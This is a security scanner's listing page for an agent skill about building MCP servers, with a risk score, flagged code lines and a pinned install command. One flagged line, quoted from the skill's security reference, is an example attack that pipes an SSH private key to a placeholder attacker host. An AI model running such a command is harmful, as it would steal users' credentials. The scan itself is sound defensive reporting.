← All skills
mcp-best-practices
69 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By tenequm/skills (GitHub) · coding · 39 stars · scanned at commit 16996da
Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 10 places.
Show 7 more
- skills/mcp-best-practices/references/mcp-apps.md, line 289
npx cloudflared tunnel --url http://localhost:3001 - skills/mcp-best-practices/references/security-auth.md, line 180
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil - skills/mcp-best-practices/references/spec-2026-07-28.md, line 287
| Web | `npx @modelcontextprotocol/inspector` | - skills/mcp-best-practices/references/spec-2026-07-28.md, line 288
| CLI | `npx @modelcontextprotocol/inspector --cli` (scriptable, for CI and coding agents) | - skills/mcp-best-practices/references/spec-2026-07-28.md, line 289
| TUI | `npx @modelcontextprotocol/inspector --tui` | - skills/mcp-best-practices/references/spec-2026-07-28.md, line 319
After the Inspector, run the [conformance suite](https://github.com/modelcontextprotocol/conformance) - a runnable CLI, not just a spec-process gate: `npx @mode - skills/mcp-best-practices/references/v2-migration.md, line 33
| - | `@modelcontextprotocol/codemod` | CLI codemod for the mechanical migration: `npx @modelcontextprotocol/codemod v1-to-v2 .` |
Sends data to these websites: attacker.example
This is disclosed by the author in the skill's SKILL.md or README.
Found in 12 places.
Show 9 more
- skills/mcp-best-practices/references/security-auth.md, line 180
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil - skills/mcp-best-practices/references/security-auth.md, line 308
`@modelcontextprotocol/server` ships runtime-neutral helpers for web-standard `fetch(request)` hosts (Cloudflare Workers, Deno, Bun, Hono): `requireBearerAuth` - skills/mcp-best-practices/references/security-auth.md, line 318
async fetch(request: Request): Promise<Response> { - skills/mcp-best-practices/references/security-auth.md, line 321
return handler.fetch(request, { authInfo: auth }); // handlers read ctx.http.authInfo - skills/mcp-best-practices/references/transport-patterns.md, line 249
async fetch(request: Request): Promise<Response> { - skills/mcp-best-practices/references/transport-patterns.md, line 293
`createMcpExpressApp(options)` and `createMcpHonoApp(options)` take options and return an app - they do not take a registration callback. With Hono, forward the - skills/mcp-best-practices/references/transport-patterns.md, line 295
Pass verified auth as `handler.fetch(request, { authInfo })`; handlers read it as `ctx.http.authInfo`, and the factory receives `{ era, authInfo, requestInfo }` - skills/mcp-best-practices/references/v2-migration.md, line 314
app.all("/mcp", (c: Context) => handler.fetch(c.req.raw, { parsedBody: c.get("parsedBody") })); - skills/mcp-best-practices/references/v2-migration.md, line 341
- **Runtime-neutral auth helpers in `@modelcontextprotocol/server`**: `requireBearerAuth` for web-standard `fetch(request)` hosts (Cloudflare Workers, Deno, Bun
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 1 place.
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'mcp-best-practices' ] || [ -L ~/.agents/skills/'mcp-best-practices' ]; then echo 'A skill folder named mcp-best-practices already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/tenequm/skills' "$d" && git -C "$d" checkout --quiet '16996da5399d22f781a70b3d3694b4684f9b8bfd' -- 'skills/mcp-best-practices' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/mcp-best-practices' ~/.agents/skills/'mcp-best-practices' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'mcp-best-practices' ~/.claude/skills/'mcp-best-practices' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for tenequm/skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/tenequm/skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 16996da | 69 |